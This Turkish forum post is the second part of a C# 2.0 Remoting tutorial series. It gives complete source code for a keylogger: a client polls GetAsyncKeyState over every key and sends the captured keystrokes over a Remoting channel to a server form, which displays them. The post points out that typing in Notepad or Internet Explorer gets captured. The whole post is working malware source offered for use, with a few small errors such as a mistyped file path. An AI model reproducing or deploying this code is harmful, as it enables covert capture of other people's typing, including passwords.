Jump to content

C# 2.0 Remoting Uygulamaları 2: Api Ile Keylogger


wmismail

Recommended Posts

Kullanıcağımız mantık, önceki makalemizdekiyle tamamen aynı. Ancak burada birtakım değişiklikler var. Örneğin server uygulamamızda 2 farklı dll tanımlamamız gerekiyor ve client uygulamamızda 2 adet timer nesnesi kullanmamız gerekiyor.

Öncelikle projemize bir class library ekleyip dll dosyamızı tanımlayalım:

using System;

using System.Collections.Generic;

using System.Text;

using System.Runtime.Remoting;

using System.Runtime.Remoting.Channels;

using System.IO;

namespace DllUygulamasi

{

public interface arayuz

{

‘mesaj yolla isminde bir string parametre tanimliyoruz

String mesajyolla(string deger);

}

public class dlluygulamasi : MarshalByRefObject, arayuz

{

public string mesajyolla(string deger)

{

‘dllimiz calisirken yine yolunu c’deki txt dosyasindan alicak

‘yazilari buradan cekip okiyacak ve islemler tamamen bittiginde silinecek

string yol;

yol = @"C:\yagiz.txt";

StreamWriter yaz = new StreamWriter(yol);

yaz.WriteLine(deger);

yaz.Close();

return null;

}

}

}

Şimdi geçelim server uygulamamıza. Burada unutmamamız gereken tek şey; hem server uygulamasına hem de client uygulamasına bu dll dosyamızı ve system.runtime.remoting namespacemizi eklemek.

Server uygulamamızın tasarımı şu şekilde olmalı (1 adet timer eklenmeli):

1000001149_image001.jpg

Kodlarımız ise şu şekilde olmalı (açıklamaları satır aralarında yazılıdır):

using System;

using System.Collections.Generic;

using System.ComponentModel;

using System.Data;

using System.Drawing;

using System.Text;

using System.Windows.Forms;

using System.IO;

using System.Runtime.Remoting;

using System.Runtime.Remoting.Channels;

using System.Runtime.Remoting.Channels.Http;

using DllUygulamasi;

namespace ApiKeyLogger

{

public partial class Form1 : Form

{

public Form1()

{

InitializeComponent();

}

private void Form1_Load(object sender, EventArgs e)

{

textBox1.Multiline = true;

‘Karakterleri okumak icin bir http kanali tanimlaniyor

‘bu kanal 42000 numaralı portu kullanıyor

HttpChannel kanal = new HttpChannel(42000);

‘kanalamızın tipini tanımlıyoruz ve dll dosyamızla bıcımlendırıyoruz

ChannelServices.RegisterChannel(kanal);

RemotingConfiguration.RegisterWellKnownServiceType(typeof(dlluygulamasi), "Yayin", WellKnownObjectMode.SingleCall);

timer1.Interval = 10;

timer1.Start();

}

private void timer1_Tick(object sender, EventArgs e)

{

try

{

‘timer calisirken degerini yagiz.txt dosyasindan alicak

‘dosyadan karakterlerini okuyup satira yazdiracak

‘daha sonra islemler bitince de dosya silinecek

string yol = @"C:\yagiz.txt";

FileInfo dosya = new FileInfo(yol);

if (dosya.Exists)

{

StreamReader oku = new StreamReader(yol);

string satir = oku.ReadLine();

textBox1.Text += satir;

oku.Close();

dosya.Delete();

}

}

catch { }

}

private void Form1_FormClosing(object sender, FormClosingEventArgs e)

{

‘form kapanırken de dosyayı sılıyoruz

string yol = @"C:\yagix.txt";

FileInfo dosya = new FileInfo(yol);

if (dosya.Exists)

{

dosya.Delete();

}

}

}

}

Şimdi ise client uygulamamızı tasarlıyoruz. (2 adet timer eklenmeli):

1000001149_image002.jpg

Şimdi ise kodlarımızı yazalım (açıklamaları satır aralarında):

using System;

using System.Collections.Generic;

using System.ComponentModel;

using System.Data;

using System.Drawing;

using System.Text;

using System.Windows.Forms;

using System.IO;

using System.Runtime;

using System.Runtime.Remoting;

using System.Runtime.Remoting.Channels;

using System.Runtime.Remoting.Channels.Tcp;

using System.Runtime.InteropServices;

using DllUygulamasi;

namespace Cliento

{

public partial class Form1 : Form

{

‘api fonksiyonlarımızı tanımlıyoruz

[DllImport("user32.dll")]

private static extern short GetAsyncKeyState(System.Windows.Forms.Keys Karakter);

[DllImport("user32.dll")]

private static extern short GetAsyncKeyState(System.Int32 KarakterDegerleri);

string karakterler, metin;

public Form1()

{

InitializeComponent();

}

private void Form1_Load(object sender, EventArgs e)

{

timer1.Interval = 1;

timer2.Interval = 2;

timer1.Enabled = true;

timer2.Enabled = true;

textBox1.MaxLength = 1;

karakterler = "";

‘clientte karakterleri yazacak tcp kanalını tanımlıyoruz

kanal = new TcpChannel();

‘tcp kanalın tipini ve özelliklerini tanımlayıp nereden yayınlanacagını belırtıyoruz

ChannelServices.RegisterChannel(kanal);

arayuz uzakyuz = (arayuz)Activator.GetObject(typeof(arayuz), "HTTP://localhost:42000/Yayin");

‘isletme delegateine yeni degerini tanimliyoruz

son = new Isletme(uzakyuz.mesajyolla);

}

private void timer1_Tick(object sender, EventArgs e)

{

foreach (int eleman in Enum.GetValues(typeof(Keys)))

{

if (GetAsyncKeyState(eleman) == -32767)

{

karakterler += Enum.GetName(typeof(Keys), eleman) + " ";

}

}

metin = null;

}

private void timer2_Tick(object sender, EventArgs e)

{

try

{

‘karakter disinda metin kabul etmedigimizi belirtiyoruz

metin=karakterler;

if(metin.Length<=3)

{

textBox1.Text=karakterler;

}

karakterler=null;

}

catch{}

}

public delegate string Isletme(string deger);

TcpChannel kanal;

Isletme son;

private void textBox1_TextChanged(object sender, EventArgs e)

{

string veri = textBox1.Text;

son(veri);

}

}

}

Böylece 3 kısımdan oluşan uygulamamızı da hazırlamış olduk. Yapmamız gereken tek şey önce server uygulamamızı çalıştırıp daha sonra client uygulamamızı çalıştırmak. Client uygulamasında örneğin bir notepad açın ve yazın. Bastığınız karakterlerin serverda ekrana geleceğini göreceksiniz. Sonuç:

image003.jpg

Gördüğünüz gibi notepad yada Internet Explorer gibi bolca text kullanabileceğimiz programlardan bile bu şekilde faydalanabiliyoruz.

3. makalemde çok daha ilginç bir logger geliştireceğim. Bu sefer ekran görüntüsünü yakalayacağımız bir Screen Logger mantığını göreceğiz. Bu makale, serimizin 2. makalesiydi. Son makalede görüşmek üzere. İyi çalışmalar dilerim.

Link to comment
Share on other sites

Archived

This topic is now archived and is closed to further replies.

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...